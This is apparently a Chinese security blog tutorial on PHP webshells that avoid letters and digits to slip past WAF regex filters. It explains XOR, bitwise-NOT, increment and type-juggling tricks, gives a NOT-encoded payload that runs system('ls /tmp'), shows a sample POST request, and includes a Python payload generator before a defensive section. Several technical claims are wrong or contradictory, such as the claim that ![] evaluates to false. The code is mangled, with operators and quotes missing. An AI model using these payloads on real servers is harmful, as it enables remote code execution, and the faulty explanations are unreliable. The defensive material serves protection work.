
1. 项目概述当WebShell遇上无字母数字的“紧箍咒”在渗透测试或红蓝对抗的实战中WebShell的免杀与持久化是永恒的话题。常规的WebShell无论是?php eval($_POST[‘cmd’]);?还是各种加密变形其核心往往离不开字母、数字这些常规字符。然而当目标服务器部署了严格的正则表达式Regex过滤特别是那些旨在拦截所有字母和数字字符的WAFWeb应用防火墙或自定义安全规则时传统的WebShell就瞬间失效了。这就好比你想用钥匙开门但锁孔被设计成只识别特定形状的“非钥匙”物体。“PHP无字母数字WebShell”正是为了应对这种极端过滤场景而生的技术。它的核心挑战在于在不使用任何字母a-z, A-Z和数字0-9的情况下构造出能够执行任意PHP代码的Payload。这听起来像是一个不可能完成的任务但PHP语言的灵活性和一些“特性”为我们提供了多种奇妙的绕过思路。今天要分享的就是我在实战和研究中总结出的5种核心绕过技巧并会附上一个能自动生成多种Payload的脚本工具。无论你是安全研究人员、CTF选手还是希望提升代码审计深度的开发者理解这些技巧都能让你对PHP语言本身和安全攻防的思维有更深刻的认识。2. 核心原理PHP的“魔术”与字符串构造艺术在深入技巧之前我们必须理解无字母数字WebShell的基石如何在不使用常规字符的情况下创造出我们需要的函数名和参数。2.1 异或XOR与取反~运算的妙用这是最经典、最核心的思路。PHP中两个字符串进行异或^或取反~运算结果仍然是字符串。关键在于我们可以通过精心选择两个由非字母数字字符主要是特殊符号组成的字符串让它们运算后产生我们想要的字母或数字。原理拆解 假设我们想得到字母a。它的ASCII码是97二进制是01100001。 我们可以找到另外两个非字母数字字符它们的ASCII码经过异或运算后等于97。例如字符!(ASCII 33) 和P(ASCII 80) 异或33 ^ 80 113这不是我们想要的。但通过脚本暴力枚举我们可以找到无数对这样的组合比如 ^ i等。但注意i是字母不符合要求。所以真正的挑战是找到两个都是非字母数字的字符进行运算。实际上更常用的方法是利用取反~。在PHP中~是按位取反运算符。~”某个字符”会得到另一个字符。例如~”\x8F”会得到”p”因为~0x8F 0x70即p。但\x8F本身不是可打印字符我们如何得到它呢这引出了下一个关键点通过连接非字母数字的字符串再经过取反来生成目标字符串。一个更实用的组合是利用PHP的自动类型转换和位运算。例如$和{都是非字母数字但$^{的结果是t字母。因为$的ASCII是36{的ASCII是12336 ^ 123 95而95对应的字符是下划线_。嗯这还不是我们想要的。这说明需要系统性的构造。实战中的常见做法 我们通常不是直接异或出整个单词而是先构造出一个能调用phpinfo()或system()的字符串。例如通过构造$_”{某非字母数字字符串}”^”{另一非字母数字字符串}”;使得$_的值变成”GET”或”POST”然后再用$$_的可变变量特性来获取传入的参数。但这仍然涉及字母。更纯粹的无字母数字需要利用PHP的其他特性。2.2 利用PHP的自增运算符和字符串操作PHP中字符串可以进行自增操作。例如$a’a’; $a;后$a等于’b’。那么我们如何得到初始的’a’呢如果我们有一个空数组将其转换为字符串会得到”Array”取其第一个字符就是”A”。但Array本身包含字母。所以我们需要一个完全由非字母数字构成的起点。一个著名的技巧是$_[];空数组。(string)$_是”Array”。但[]里的[和]是符号符合要求。我们可以通过$_””.[];来得到字符串”Array”。然后取第一个字符$_$_[0];或$_($_.”[0])。但[0]包含了数字0这违反了规则。因此我们需要用其他方法获取字符串的特定偏移位。这里就需要引入PHP中字符串的“花括号”或“方括号”下标访问语法。$str{0}和$str[0]是等价的用于获取第一个字符。但{和}是符号0是数字。如何不用数字0我们可以利用布尔值true在算术上下文中的值为1然后通过运算得到0。例如!true的结果是false但false在作为数组/字符串下标时会被当作0。然而true和false本身是关键字包含字母。此路不通。另一种思路利用未定义变量产生的NULL。$a未定义时(string)$a是空字符串$a[0]会产生一个Notice但返回NULL这也没用。所以纯粹的自增路径起点非常难找。更常见的做法是结合下一点利用PHP的报错信息。2.3 从错误信息中“提取”字母这是非常精妙的一招。PHP在遇到错误时会生成包含字母和数字的错误信息。如果我们能控制部分错误信息并从中提取出字符就有可能获得“种子”。例如尝试访问一个不存在的常量$_a;注意是反引号在PHP中会尝试执行系统命令但通常被禁用。更常见的是利用操作符和未定义变量。但更直接的方法是使用scandir(‘.’)或readfile(‘index.php’)这类函数它们的返回值包含字母但函数名本身就需要字母来构造。这似乎成了“先有鸡还是先有蛋”的问题。真正的突破点在于我们不需要一次性构造出完整的函数名而是可以分阶段、拼接式地构造。而拼接就需要用到.点号这个连接符它是符号允许使用。3. 5种实战绕过技巧深度解析理解了基本原理后我们来看五种具体的、可落地的绕过技巧。我会从易到难并说明每种技巧的适用场景和局限性。3.1 技巧一异或构造法最通用这是最直接利用位运算的方法。核心是编写一个脚本暴力枚举所有可打印的非字母数字字符ASCII范围33-47, 58-64, 91-96, 123-126等寻找两两异或^后能产生目标字符a-z, A-Z, 0-9的组合。操作步骤确定目标字符串例如我们想构造”system”。逐字符暴力枚举对s,y,s,t,e,m每个字符寻找两个非字母数字字符使其ASCII码异或等于该字符的ASCII码。拼接Payload将找到的字符对用^连接起来并用.连接每个字符的构造结果。示例Payload生成逻辑假设我们为s找到了”!”和”J”的异或组合!” ^ “J”在PHP中会产生”s”。但”J”是字母不符合。所以必须确保参与运算的两个字符都是非字母数字。通过脚本我们可能找到””(64) 和”K”(75) 异或得到11即垂直制表符不是可打印字符。这说明暴力枚举需要限定结果为可打印字符。一个更实际的例子是构造数字”1”。字符”1”的ASCII是49。我们可以找到”!”(33) 和”P”(80) 异或得到113 (q)不对。实际上”(反引号96) 和”a”(97) 异或得到1但a是字母。所以单纯依靠两个非字母数字字符异或出一个完整的字母数字字符串对于长字符串效率很低通常用于构造短关键字或单个字符再配合可变变量。因此更实用的异或构造法常用于构造关键的单字比如构造_GET或_POST?php $_”某符号串”^”另一符号串”; // 使得 $_ 的值为 ‘_GET’ $$_[‘cmd’]($$_[‘arg’]); // 等价于 $_GET[‘cmd’]($_GET[‘arg’]) ?我们需要让$_等于字符串‘_GET’。通过暴力计算可以找到这样的符号组合。网上公开的Payload中就有如$_~”脠脠”^”胀胀”;这种形式它利用了UTF-8编码中多字节字符的取反操作经过计算后恰好得到_GET。这需要精准的计算和对字符编码的理解。实操心得异或构造法的Payload通常较长且看起来杂乱无章充满了各种特殊符号。它在绕过简单的正则过滤/[a-z0-9]/i时非常有效但可能被检测异常符号频率的WAF规则捕捉。在实际使用时可以尝试多种符号组合以规避基于统计的检测。3.2 技巧二取反构造法更短更隐蔽取反构造法比异或法更高效Payload也更短。其核心公式是$函数名~(非字母数字字符串);。原理如果我们想得到字符串”phpinfo”我们可以先计算~”phpinfo”的结果。在PHP中对字符串进行按位取反会得到另一个字符串。例如echo ~”phpinfo”; // 输出一堆乱码如 “%8F%97%8F%96%91%99%90”这些“乱码”就是由非字母数字的百分号编码在某些上下文中或不可见字符组成的。那么如果我们直接在代码中写入这串“乱码”的取反就能得到原字符串$_~”%8F%97%8F%96%91%99%90”; // $_ 的值就是 “phpinfo” $_(); // 执行 phpinfo()但问题在于我们如何在不写入字母数字的情况下表示这个“乱码”字符串呢我们可以用十六进制或二进制字符串。例如”phpinfo”的每个字符的ASCII码取反后的值我们可以直接用二进制字符串表示$_~”\x8F\x97\x8F\x96\x91\x99\x90”;。但\x8F这种写法包含了字母x和数字。突破点利用PHP中字符串可以直接由二进制数据构成。我们可以通过连接一些特殊字符的取反结果来间接生成目标字符或者更直接地利用URL编码。在PHP中%8F在双引号字符串中不会被自动解码但我们可以用urldecode()函数不过函数名又需要字母。所以我们需要一个无需函数就能将%8F这类序列转换成对应字节的方法。一个巧妙的方法是使用反引号执行命令但命令本身也需要构造。或者利用iconv()函数进行字符集转换时产生的特性但这同样需要函数名。最纯粹的取反法实践 实际上我们可以在本地先计算出目标字符串取反后的十六进制序列然后在Payload中直接以二进制数据的形式写入。例如对于system计算~”system”。s0x73,~0x73 0x8C。以此类推得到序列0x8C, 0x9C, 0x8C, 0x9B, 0x96, 0x90。在Payload中我们可以通过连接一些常量或特殊值来得到这些十六进制值吗很难。因此真正的取反法Payload往往看起来是一长串不可读的乱码它们被直接包裹在引号里。这些乱码本身不含字母数字但取反后就是可执行的函数名。? (~”\x8C\x9C\x8C\x9B\x96\x90”)(‘whoami’); // 等价于 system(‘whoami’)但注意\x是字母数字。所以必须去掉\x直接写入二进制字节。这通常需要编辑器支持或者通过其他PHP代码动态生成。在HTTP请求中我们可以通过Burp Suite等工具直接修改请求体插入这些二进制字节。注意事项取反法生成的Payload在浏览器或日志中查看时可能显示为乱码或空白这本身就是一种很好的隐蔽。但一些高级的WAF或IDS会检测请求体中是否存在非常规的高位字节或控制字符因此也可能被拦截。可以尝试将取反后的字符串再进行一次Base64编码但Base64编码解码需要函数又回到了起点或者与其他技巧结合。3.3 技巧三自增构造法“无中生有”这种方法旨在从一个纯粹的、非字母数字的起点通过PHP运算“生长”出字母和数字。它最具思维启发性。经典Payload示例?php $_[].“”; // $_ “Array” $__$_.[]; // $__ “ArrayArray”? 不.[] 会先将 [] 转为字符串 “Array”所以 $__ “ArrayArray” $___$__[0]; // 错误[0]包含数字0。 ?我们需要不用数字下标来获取字符。可以利用current()、next()等数组内部指针函数但函数名是字母。一个真正著名的技巧是利用PHP的localeconv()和current()函数但它们的名字需要构造。网上流传的一个经典Payload是?php $_!(1/0).“”; // $_ “INF” $___$_[0]; // $___ “I” (字母I) $__$___; // $__ “J” // 现在我们有 “I” 和 “J”可以通过循环自增得到所有字母… ?但!(1/0)包含了数字1和0违反了规则。而且是符号允许使用。更纯粹的起点尝试获取一个点号.。点号是符号ASCII 46。如何得到它我们可以利用 PHP 的数学常数。例如M_PI是圆周率但M_PI包含字母。pi()函数返回圆周率但函数名是字母。实际上一个被广泛使用的“种子”是利用PHP的报错等级常量。但常量名是字母。另一种方法是利用getallheaders()或get_defined_vars()的返回数组但函数名需要字母。因此纯粹的自增法在完全无字母数字的起点上极其困难它通常需要结合其他技巧先获得一个“种子”字符比如从Array中提取A。一旦获得了一个字母如A就可以通过自增得到 B, C, … Z, a, b, … z。例如$char’A’; for($i0;$i25;$i) {$char; echo $char.” “;} // 输出 B C D … Z // 到达 ‘Z’ 后$char 会变成 ‘AA’但这对于获取小写字母和数字没用。 // 小写字母 ‘a’ 的ASCII比 ‘A’ 大32。所以我们需要做加法$char’A’32; 但 和 32 涉及数字。可以看到即使有了种子后续操作也困难重重。因此自增法更多是一种理论上的探索在实战中往往作为辅助手段用于生成特定字符而非构造整个WebShell。3.4 技巧四利用PHP类型转换与进制转换PHP的弱类型特性是一个宝藏。我们可以利用一些运算和函数生成出数字再通过进制转换或类型转换得到字符串。1. 利用true和false但它们是关键字true在算术运算中是1false是0。但true和false本身是字母数字组合。不过我们可以通过逻辑运算得到它们。例如![]的结果是false因为空数组在布尔上下文中为true取反为false。!是符号[]是符号。所以$_![];得到了一个布尔值false。然后(int)$_是0。我们得到了数字0这是一个重大突破。2. 从0到1及其他数字有了0如何得到1可以用自增$_。但是符号。所以$_![]; $__$_;现在$__是1布尔值false自增变成true其整数值为1。我们成功得到了数字1且过程中没有使用字母数字。3. 从数字到字符串有了数字1和0我们可以通过连接得到字符串”10″$___$__.$_;。现在$___是字符串”10″。我们可以用下标获取字符”1″和”0″$____$___[0];又遇到了数字下标问题。我们可以用$____$___[$_];因为$_是false在作为下标时等同于0。完美我们得到了字符串”1″。4. 构造更复杂的字符串有了”1″和”0″我们可以拼接出任何数字的字符串表示例如”11″、”101″等。然后我们可以利用chr()函数将ASCII码数字转换成字符但chr是字母。或者我们可以利用hex2bin()、base_convert()等函数但函数名都需要字母。关键跳跃不使用函数名调用函数。PHP中可以用变量函数的形式调用函数$func”chr”; $func(65);。所以如果我们能构造出字符串”chr”就能调用它。构造”chr”又回到了最初的问题。不过我们现在有了数字字符串可以通过进制转换。例如base_convert(‘hexval’, from_base, to_base)可以将数字在不同进制间转换并返回字符串。base_convert(‘999669’, 10, 36)可能会返回”chr”之类的字符串但base_convert这个函数名本身需要构造。因此类型转换法的核心价值在于获得了数字“种子”它将无字母数字的挑战从“构造所有字符”降低为“构造一个函数名的字符串”后者可以借助已有的数字种子通过base_convert()等数学计算来间接实现但最终仍需解决函数名调用的问题通常需要与可变变量$$或$_GET[‘a’]()等方式结合而这些方式又需要构造_GET等字符串。3.5 技巧五利用未定义常量与命名空间偏门技巧这是一种利用PHP语言特性的技巧在某些特定配置下有效。1. 未定义常量在PHP中使用一个未定义的常量PHP会发出警告并将其当作一个与该常量名同名的字符串。例如echo a;如果a未定义会输出’a’并报错。但这里a是字母。我们需要的是非字母数字的“常量名”。如果我们写echo \;这不行。如果我们能控制错误处理使其不报错或者利用抑制错误那么$\a;会让$等于字符串”a”。但\a中的a 是字母。所以我们需要一个完全由符号构成的“常量名”。PHP允许常量名包含某些特殊字符吗通常常量名只能以字母或下划线开头。所以此路基本不通。2. 利用命名空间和类名解析PHP的::class语法可以获取类的完全限定名称的字符串。例如Exception::class返回”Exception”。但Exception是字母。我们可以动态构造类名吗比如$a’Except’;$b’ion’;$c$a.$b; $c::class这又需要字母。3. 利用get_defined_constants()这个函数返回所有已定义常量的数组其中包含很多预定义常量如PHP_VERSION、__FILE__等。我们可以遍历这个数组寻找值为我们所需字符串的常量。但调用这个函数需要函数名而且遍历需要循环控制结构都需要字母数字。因此这类偏门技巧通常不是独立使用的而是作为整个Payload构造链中的一环用于在特定环境下获取一个关键的字符或字符串片段。例如如果目标PHP环境启用了一些特殊的扩展定义了某些包含特定字符的常量也许可以利用。4. 实战Payload构造与脚本工具理论说了这么多我们来点实际的。下面我将展示一个结合了多种技巧的实战Payload并介绍一个用于自动化生成异或/取反Payload的Python脚本。4.1 一个综合性的无字母数字WebShell示例假设我们的目标是执行system(‘ls /tmp’)。我们将使用取反法来构造函数名system和命令字符串ls /tmp。步骤1计算取反后的字符串~”system””\x8C\x9C\x8C\x9B\x96\x90″~”ls /tmp””\x93\x8C\xDF\xD0\xBF\x97\x9A”步骤2构造Payload我们需要在不直接写\x的情况下表示这些十六进制字节。在PHP中我们可以用双引号字符串直接包含这些字节。但如何在HTTP请求中发送呢我们可以用Burp Suite的Hex视图直接编辑。 一个更“可读”的方式是利用PHP的chr()函数但我们需要先构造出chr。这又成了先有鸡还是先有蛋的问题。因此终极的纯粹Payload往往是一串二进制数据。例如? (~”\x8C\x9C\x8C\x9B\x96\x90″)(~”\x93\x8C\xDF\xD0\xBF\x97\x9A”); ?在Web请求中这个PHP文件可能看起来像这样以URL编码形式示意POST /shell.php HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded code%3C%3F%3D%28%7E%22%8C%9C%8C%9B%96%90%22%29%28%7E%22%93%8C%DF%D0%BF%97%9A%22%29%3B%20%3F%3E这里的%8C%9C...就是原始的二进制字节。它们不是有效的UTF-8字符因此在日志或简单检测中可能被忽略或显示为乱码。4.2 自动化生成脚本手动计算这些取反或异或值非常繁琐。我们可以写一个Python脚本来自动化这个过程。脚本功能设计输入想要生成的最终PHP代码如system(‘whoami’)。输出多种绕过方式的无字母数字Payload。方式A异或构造尝试将整个代码或关键函数名/参数名通过异或运算用符号表示。方式B取反构造生成取反后的二进制字符串并输出为可直接粘贴到PHP文件或Burp Suite的格式。方式C自增种子构造尝试从![]等起点开始生成一段能构造出目标字符的PHP代码可能较长。简化版脚本示例生成取反Payload#!/usr/bin/env python3 import urllib.parse def generate_not_payload(code): 生成PHP取反Payload。 例如: generate_not_payload(“system(‘whoami’)”) 注意这个简化版只处理最外层函数调用和单个字符串参数。 # 这是一个非常简化的解析实战中需要更复杂的语法分析 import re # 假设代码格式为 func(‘arg’) match re.match(r”(\w)\(‘([^’])’\)”, code) if not match: return “输入格式暂不支持请使用 func(‘arg’) 格式” func_name, arg match.groups() # 对函数名和参数分别取反 not_func ”.join(chr(~ord(c) 0xFF) for c in func_name) not_arg ”.join(chr(~ord(c) 0xFF) for c in arg) # 构造Payload payload f”? (~{not_func}’)(~{not_arg}’); ?” # 注意not_func 和 not_arg 中包含不可打印字符直接输出可能显示乱码 print(“[] 原始Payload (可能显示乱码):”) print(payload) print() print(“[] URL编码后的Payload (用于POST请求):”) print(urllib.parse.quote(payload)) print() print(“[] 十六进制表示 (用于Burp Suite Hex编辑):”) hex_repr payload.encode(‘latin-1’).hex() print(‘ ‘.join(hex_repr[i:i2] for i in range(0, len(hex_repr), 2))) if __name__ ‘__main__’: target_code “system(‘ls /tmp’)” generate_not_payload(target_code)脚本使用与局限性这个脚本只是一个概念演示它生成的Payload中函数名和参数是硬编码的取反形式。真正的实战脚本需要能够处理更复杂的代码结构并可能结合异或法。生成的Payload包含大量不可打印字符复制粘贴时容易出错最好直接使用其十六进制或URL编码格式。该脚本没有解决“如何在不使用字母数字的情况下表示这些取反后的乱码字符串”这个根本问题。它只是展示了如何计算。在真实攻击中攻击者可能需要将这段生成Payload的脚本的输出手动写入到一个PHP文件中或者通过其他漏洞如文件上传、日志写入将二进制数据植入。实操心得自动化脚本在CTF或靶场环境中非常有用可以快速生成Payload进行测试。但在真实渗透测试中由于WAF规则可能检测异常字符频率完全依赖自动生成的、特征明显的Payload如大量异或符号^容易被拦截。通常需要根据目标环境进行手工调整和混淆例如混合使用多种技巧或者在Payload中插入无关的注释符/*...*/来破坏正则匹配。5. 防御策略与排查技巧了解了攻击手法才能更好地防御。作为开发者和运维人员如何防范此类无字母数字WebShell5.1 代码层防御输入验证与过滤不要只依赖简单的正则表达式过滤字母数字。采用白名单机制只允许预期的字符集。对于执行代码的函数如eval()、assert()、system()、passthru()等要极度谨慎尽量避免使用或严格限制其参数来源。禁用危险函数在php.ini中通过disable_functions指令禁用不必要的危险函数如eval,assert,system,exec,passthru,shell_exec,proc_open,popen等。这是最有效的手段之一。限制PHP配置设置open_basedir限制文件系统访问范围。将allow_url_fopen和allow_url_include设置为Off防止远程文件包含。将display_errors设置为Offlog_errors设置为On防止错误信息泄露路径等敏感信息。使用Web应用防火墙WAF配置WAF规则不仅检测常见的WebShell特征还要检测异常多的特殊符号、异或操作符^、取反操作符~的连续出现以及请求体中是否存在非常规的二进制数据或高位ASCII字符。5.2 运维层监控与排查文件监控使用HIDS主机入侵检测系统监控Web目录下的文件创建、修改行为特别是.php、.phtml、.inc等可执行文件的非正常变更。日志分析集中分析Web服务器如Apache/Nginx的访问日志和PHP错误日志。关注以下异常访问频率异常高的PHP文件。访问参数异常长或包含大量特殊字符的请求。访问不存在的PHP文件可能是攻击者在探测。PHP日志中出现对eval()、assert()等函数的调用警告如果配置了的话。进程监控监控php-fpm或apache子进程发起的异常外部连接如反向Shell或执行的异常命令。定期扫描使用专业的WebShell扫描工具如河马、D盾等对Web目录进行定期扫描。这些工具不仅检测特征码也检测代码的混淆和加密行为。5.3 应急响应发现可疑文件后怎么办隔离立即将可疑文件重命名如添加.bak后缀或移动到隔离区并记录原始路径、时间、权限等信息。分析静态分析查看文件内容尝试解码混淆的代码。关注eval、assert、base64_decode、gzinflate、~、^、$、{、}等关键符号。动态分析在隔离的沙箱环境中运行该文件监控其网络活动、文件操作和进程创建行为。溯源检查服务器日志寻找该文件的上传时间、来源IP、以及攻击者可能进行的其他操作如上传其他文件、尝试提权等。清理与加固确认攻击路径后修补漏洞如文件上传漏洞、SQL注入导致写Shell等更改所有相关系统的密码检查是否有其他后门并按照上述防御策略加固系统。无字母数字WebShell代表了Web安全攻防中一个非常有趣的层面——它挑战的是我们对编程语言和字符集的根本理解。对于防守方而言绝不能抱有“过滤了字母数字就安全”的幻想对于攻击方在合法授权测试中掌握这些技巧则能更深入地测试系统的防御深度。安全永远是动态的博弈保持学习和对底层原理的好奇心才是应对不断变化威胁的关键。